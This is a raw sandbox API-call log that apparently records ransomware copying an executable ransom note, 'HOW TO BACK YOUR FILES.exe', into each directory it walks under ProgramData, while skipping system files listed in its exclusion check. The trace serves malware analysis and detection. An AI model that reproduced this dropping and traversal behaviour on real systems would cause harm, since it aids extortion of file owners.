	[0039.639] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1
	[0039.639] lstrcmpiW (lpString1="Downloader", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.639] lstrcmpiW (lpString1="Downloader", lpString2="Apollon865.txt.exe") returned 1
	[0039.639] lstrcmpiW (lpString1="Downloader", lpString2=".") returned 1
	[0039.639] lstrcmpiW (lpString1="Downloader", lpString2="..") returned 1
	[0039.639] lstrcmpiW (lpString1="Downloader", lpString2="windows") returned -1
	[0039.639] lstrcmpiW (lpString1="Downloader", lpString2="bootmgr") returned 1
	[0039.639] lstrcmpiW (lpString1="Downloader", lpString2="temp") returned -1
	[0039.639] lstrcmpiW (lpString1="Downloader", lpString2="pagefile.sys") returned -1
	[0039.639] lstrcmpiW (lpString1="Downloader", lpString2="boot") returned 1
	[0039.639] lstrcmpiW (lpString1="Downloader", lpString2="ids.txt") returned -1
	[0039.639] lstrcmpiW (lpString1="Downloader", lpString2="ntuser.dat") returned -1
	[0039.639] lstrcmpiW (lpString1="Downloader", lpString2="perflogs") returned -1
	[0039.639] lstrcmpiW (lpString1="Downloader", lpString2="MSBuild") returned -1
	[0039.639] lstrlenW (lpString="Downloader") returned 10
	[0039.639] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned 48
	[0039.639] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="Downloader" | out: lpString1="Downloader") returned="Downloader"
	[0039.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0039.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5458
	[0039.639] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fc70
	[0039.639] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fbb9df0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.639] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.639] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fbb9df0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0039.639] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.639] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0039.639] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Network\\Downloader", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader"
	[0039.640] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0039.640] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0039.640] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned 47
	[0039.640] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader"
	[0039.640] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.640] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.645] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.645] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbb9df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.645] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.645] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.645] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.645] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbb9df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.645] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.645] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.645] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.645] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.645] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fbb9df0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.645] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.645] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xe0118910, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qmgr0.dat", cAlternateFileName="")) returned 1
	[0039.645] lstrcmpiW (lpString1="qmgr0.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.645] lstrcmpiW (lpString1="qmgr0.dat", lpString2="Apollon865.txt.exe") returned 1
	[0039.645] lstrcmpiW (lpString1="qmgr0.dat", lpString2=".") returned 1
	[0039.645] lstrcmpiW (lpString1="qmgr0.dat", lpString2="..") returned 1
	[0039.645] lstrcmpiW (lpString1="qmgr0.dat", lpString2="windows") returned -1
	[0039.645] lstrcmpiW (lpString1="qmgr0.dat", lpString2="bootmgr") returned 1
	[0039.645] lstrcmpiW (lpString1="qmgr0.dat", lpString2="temp") returned -1
	[0039.645] lstrcmpiW (lpString1="qmgr0.dat", lpString2="pagefile.sys") returned 1
	[0039.645] lstrcmpiW (lpString1="qmgr0.dat", lpString2="boot") returned 1
	[0039.645] lstrcmpiW (lpString1="qmgr0.dat", lpString2="ids.txt") returned 1
	[0039.645] lstrcmpiW (lpString1="qmgr0.dat", lpString2="ntuser.dat") returned 1
	[0039.646] lstrcmpiW (lpString1="qmgr0.dat", lpString2="perflogs") returned 1
	[0039.646] lstrcmpiW (lpString1="qmgr0.dat", lpString2="MSBuild") returned 1
	[0039.646] lstrlenW (lpString="qmgr0.dat") returned 9
	[0039.646] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*") returned 49
	[0039.646] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="qmgr0.dat" | out: lpString1="qmgr0.dat") returned="qmgr0.dat"
	[0039.646] lstrlenW (lpString="qmgr0.dat") returned 9
	[0039.646] lstrlenW (lpString="Apollon865") returned 10
	[0039.646] lstrlenW (lpString=".dll") returned 4
	[0039.646] lstrcmpiW (lpString1="qmgr0.dat", lpString2=".dll") returned 1
	[0039.646] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="qmgr1.dat" | out: lpString1="qmgr1.dat") returned="qmgr1.dat"
	[0039.646] lstrlenW (lpString="qmgr1.dat") returned 9
	[0039.646] lstrlenW (lpString="Apollon865") returned 10
	[0039.646] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Network\\Connections", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections"
	[0039.646] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0039.646] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0039.646] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned 48
	[0039.646] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Network\\Connections" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections"
	[0039.646] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.646] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\network\\connections\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.651] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.651] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbdff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.651] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.651] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.651] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.651] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbdff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.651] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.651] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.651] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.651] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.651] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fbdff50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.651] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.651] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fbdff50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0039.651] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.651] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc50
	[0039.651] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\NetFramework", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework"
	[0039.652] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598528 | out: hHeap=0x580000) returned 1
	[0039.652] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0039.652] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\NetFramework") returned 41
	[0039.652] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\NetFramework" | out: lpString1="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework"
	[0039.652] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.652] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\netframework\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.658] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.658] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbdff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.658] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.658] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.658] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.658] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbdff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.658] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.658] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.658] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.658] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.658] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1
	[0039.658] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.658] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="Apollon865.txt.exe") returned 1
	[0039.658] lstrcmpiW (lpString1="BreadcrumbStore", lpString2=".") returned 1
	[0039.658] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="..") returned 1
	[0039.659] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="windows") returned -1
	[0039.659] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="bootmgr") returned 1
	[0039.659] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="temp") returned -1
	[0039.659] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="pagefile.sys") returned -1
	[0039.659] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="boot") returned 1
	[0039.659] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="ids.txt") returned -1
	[0039.659] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="ntuser.dat") returned -1
	[0039.659] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="perflogs") returned -1
	[0039.659] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="MSBuild") returned -1
	[0039.659] lstrlenW (lpString="BreadcrumbStore") returned 15
	[0039.659] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\NetFramework\\*") returned 43
	[0039.659] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="BreadcrumbStore" | out: lpString1="BreadcrumbStore") returned="BreadcrumbStore"
	[0039.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0039.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591640
	[0039.659] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0039.659] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fbdff50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.659] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.659] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fbdff50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0039.659] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.659] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc50
	[0039.659] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore"
	[0039.659] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0039.659] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0039.659] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore") returned 57
	[0039.659] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" | out: lpString1="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore"
	[0039.659] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.659] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.664] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.664] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.664] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.664] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.664] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.664] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.664] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.664] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.664] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.664] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.664] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc060b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.664] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.664] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc060b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0039.664] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.665] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0039.665] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\MSDN", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\MSDN") returned="C:\\Users\\All Users\\Microsoft\\MSDN"
